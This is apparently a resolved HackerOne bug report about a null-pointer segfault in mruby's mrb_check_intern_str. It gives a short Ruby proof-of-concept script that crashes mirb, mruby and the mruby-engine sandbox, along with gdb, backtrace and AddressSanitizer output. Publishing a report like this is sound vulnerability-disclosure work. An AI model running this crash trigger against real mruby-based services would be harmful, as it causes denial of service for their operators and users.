SIGSEGV - mrb_check_intern_str() - NullPointer
Low
Vulnerability Details
PoC
---------------------
The following code triggers the bug (attached as mrb_vm_exec.rb):
def to_str
$s.replace("")end
$s=""
class Test00espondTo end
Test00espondTo.respond_to?(0)
Crash - mirb
---------------------
x@x:~/Desktop/research/mruby/bin$ ./mirb mrb_check_intern_str.rb
mirb - Embeddable Interactive Ruby Shell
=> :to_str
=> ""
=> nil
Segmentation fault (core dumped)
Debug - mirb
---------------------
x@x:~/Desktop/research/mruby/bin$ gdb -q ./mirb
Reading symbols from ./mirb...done.
(gdb) r mrb_check_intern_str.rb
Starting program: /home/x/Desktop/research/mruby/bin/mirb mrb_check_intern_str.rb
mirb - Embeddable Interactive Ruby Shell
=> :to_str
=> ""
=> nil
Program received signal SIGSEGV, Segmentation fault.
mrb_check_intern_str (mrb=0x756010, str=<error reading variable: access outside bounds of object referenced via synthetic pointer>) at /home/x/Desktop/research/mruby/src/symbol.c:143
143 return mrb_check_intern(mrb, RSTRING_PTR(str), RSTRING_LEN(str));
(gdb) info reg
rax 0x3015 12309
rbx 0x756010 7692304
rcx 0x745350 7623504
rdx 0x3 3
rsi 0x0 0
rdi 0x756010 7692304
rbp 0xfffffffffffffffc 0xfffffffffffffffc
rsp 0x7fffffffc5c0 0x7fffffffc5c0
r8 0x1 1
r9 0x0 0
r10 0x0 0
r11 0x8000044000000000 -9223367363930357760
r12 0xfffffffffffffffc -4
r13 0x0 0
r14 0x756010 7692304
r15 0x759090 7704720
rip 0x42a540 0x42a540 <mrb_check_intern_str+48>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Backtrace - mirb
---------------------
(gdb) bt
#0 mrb_check_intern_str (mrb=0x756010, str=<error reading variable: access outside bounds of object referenced via synthetic pointer>) at /home/x/Desktop/research/mruby/src/symbol.c:143
#1 0x0000000000427fc9 in obj_respond_to (mrb=0x756010, self=<error reading variable: access outside bounds of object referenced via synthetic pointer>) at /home/x/Desktop/research/mruby/src/kernel.c:961
#2 0x000000000040a37d in mrb_vm_exec (mrb=<optimized out>, proc=0x0, pc=<optimized out>) at /home/x/Desktop/research/mruby/src/vm.c:1171
#3 0x0000000000402e68 in main (argc=<optimized out>, argv=<optimized out>) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549
Clang - mirb
---------------------
x@x:~/Desktop/research/clang/mruby/bin$ ./mirb mrb_check_intern_str.rb
mirb - Embeddable Interactive Ruby Shell
=> :to_str
=> ""
=> nil
ASAN:DEADLYSIGNAL
=================================================================
==5111==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000577626 bp 0x7fff9e888950 sp 0x7fff9e888780 T0)
#0 0x577625 (/home/x/Desktop/research/clang/mruby/bin/mirb+0x577625)
#1 0x56cfff (/home/x/Desktop/research/clang/mruby/bin/mirb+0x56cfff)
#2 0x50b14c (/home/x/Desktop/research/clang/mruby/bin/mirb+0x50b14c)
#3 0x501d5b (/home/x/Desktop/research/clang/mruby/bin/mirb+0x501d5b)
#4 0x4f3ef8 (/home/x/Desktop/research/clang/mruby/bin/mirb+0x4f3ef8)
#5 0x7f409fd19ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
#6 0x41a595 (/home/x/Desktop/research/clang/mruby/bin/mirb+0x41a595)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/x/Desktop/research/clang/mruby/bin/mirb+0x577625)
==5111==ABORTING
Crash - mruby
---------------------
x@x:~/Desktop/research/mruby/bin$ ./mruby mrb_check_intern_str.rb
Segmentation fault (core dumped)
Debug - mruby
---------------------
x@x:~/Desktop/research/mruby/bin$ gdb -q ./mruby
Reading symbols from ./mruby...done.
(gdb) r mrb_check_intern_str.rb
Starting program: /home/x/Desktop/research/mruby/bin/mruby mrb_check_intern_str.rb
Program received signal SIGSEGV, Segmentation fault.
mrb_check_intern_str (mrb=0x755010, str=<error reading variable: access outside bounds of object referenced via synthetic pointer>) at /home/x/Desktop/research/mruby/src/symbol.c:143
143 return mrb_check_intern(mrb, RSTRING_PTR(str), RSTRING_LEN(str));
(gdb) info reg
rax 0x3015 12309
rbx 0x755010 7688208
rcx 0x744330 7619376
rdx 0x3 3
rsi 0x0 0
rdi 0x755010 7688208
rbp 0xfffffffffffffffc 0xfffffffffffffffc
rsp 0x7fffffffd740 0x7fffffffd740
r8 0x1 1
r9 0x0 0
r10 0x0 0
r11 0x8000044000000000 -9223367363930357760
r12 0xfffffffffffffffc -4
r13 0x0 0
r14 0x755010 7688208
r15 0x758120 7700768
rip 0x412e20 0x412e20 <mrb_check_intern_str+48>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Backtrace - mruby
---------------------
(gdb) bt
#0 mrb_check_intern_str (mrb=0x755010, str=<error reading variable: access outside bounds of object referenced via synthetic pointer>) at /home/x/Desktop/research/mruby/src/symbol.c:143
#1 0x00000000004c95d9 in obj_respond_to (mrb=0x755010, self=<error reading variable: access outside bounds of object referenced via synthetic pointer>) at /home/x/Desktop/research/mruby/src/kernel.c:961
#2 0x00000000004b842d in mrb_vm_exec (mrb=<optimized out>, proc=0x0, pc=<optimized out>) at /home/x/Desktop/research/mruby/src/vm.c:1171
#3 0x00000000004c1ecd in mrb_vm_run (proc=0x7581b0, self=..., stack_keep=1, mrb=<optimized out>) at /home/x/Desktop/research/mruby/src/vm.c:772
#4 mrb_top_run (mrb=0x755010, proc=0x7581b0, self=..., stack_keep=<optimized out>) at /home/x/Desktop/research/mruby/src/vm.c:2487
#5 0x000000000049472f in mrb_load_exec (mrb=0x755010, p=<optimized out>, c=0x7aff30) at /home/x/Desktop/research/mruby/mrbgems/mruby-compiler/core/parse.y:5755
#6 0x0000000000402c67 in main (argc=<optimized out>, argv=<optimized out>) at /home/x/Desktop/research/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232
Clang - mruby
---------------------
x@x:~/Desktop/research/clang/mruby/bin$ ./mruby mrb_check_intern_str.rb
ASAN:DEADLYSIGNAL
=================================================================
==5116==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051c826 bp 0x7fffd99d7790 sp 0x7fffd99d75c0 T0)
#0 0x51c825 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x51c825)
#1 0x69997f (/home/x/Desktop/research/clang/mruby/bin/mruby+0x69997f)
#2 0x65470c (/home/x/Desktop/research/clang/mruby/bin/mruby+0x65470c)
#3 0x64b31b (/home/x/Desktop/research/clang/mruby/bin/mruby+0x64b31b)
#4 0x6773e8 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x6773e8)
#5 0x616529 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x616529)
#6 0x6171c5 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x6171c5)
#7 0x4f3af5 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x4f3af5)
#8 0x7fa8d20caec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
#9 0x41a505 (/home/x/Desktop/research/clang/mruby/bin/mruby+0x41a505)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/x/Desktop/research/clang/mruby/bin/mruby+0x51c825)
==5116==ABORTING
Sandbox - Crash
---------------------
Attached as sandbox.log
x@x:~/Desktop/research/mruby/bin$ ../../mruby-engine/bin/sandbox mrb_check_intern_str.rb
../../mruby-engine/bin/sandbox:20: [BUG] Segmentation fault at 0x00000000000001
ruby 2.2.6p396 (2016-11-15 revision 56800) [x86_64-linux-gnu]
-- Control frame information -----------------------------------------------
c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval
c:0002 p:0186 s:0005 E:001058 EVAL ../../mruby-engine/bin/sandbox:20 [FINISH]
c:0001 p:0000 s:0002 E:001f30 TOP [FINISH]
-- Ruby level backtrace information ----------------------------------------
../../mruby-engine/bin/sandbox:20:in `<main>'
../../mruby-engine/bin/sandbox:20:in `sandbox_eval'
-- Machine register context ------------------------------------------------
RIP: 0x00007f7ff452d994 RBP: 0x00007f7ff30ac040 RSP: 0x00007f7ff30a2980
RAX: 0x00007f7ff30ac070 RBX: 0x00007f7ff30a44e0 RCX: 0x0000000000000005
RDX: 0x0000000000000010 RDI: 0x00007f7ff30a44e0 RSI: 0x0000000000000001
R8: 0x00007f7ff30a43e0 R9: 0x0000000000000001 R10: 0x00007f7ff30a44e0
R11: 0x0000000000000000 R12: 0x00007f7ff30af2b0 R13: 0x00007f7ff30b0a00
R14: 0x0000000000000001 R15: 0x00007f7ff30a44e0 EFL: 0x0000000000010202
-- C level backtrace information -------------------------------------------
/usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8c1fd55]
/usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8c1ff8c]
/usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8afc06b]
/usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f7ff8bb214e]
...
...
...
7f7ff912c000-7f7ff912d000 r--p 00022000 08:01 1839103 /lib/x86_64-linux-gnu/ld-2.19.so
7f7ff912d000-7f7ff912e000 rw-p 00023000 08:01 1839103 /lib/x86_64-linux-gnu/ld-2.19.so
7f7ff912e000-7f7ff912f000 rw-p 00000000 00:00 0
7ffffc1c6000-7ffffc9c5000 rw-p 00000000 00:00 0 [stack]
7ffffc9fe000-7ffffca00000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
[NOTE]
You may have encountered a bug in the Ruby interpreter or extension libraries.
Bug reports are welcome.
For details: http://www.ruby-lang.org/bugreport.html
Aborted (core dumped)
Impact
---------------------
This vulnerability is caused by NullPointer error. It can not be exploited, but it can cause DoS.
Actions
View on HackerOneReport Stats
- Report ID: 193075
- State: Closed
- Substate: resolved
- Upvotes: 3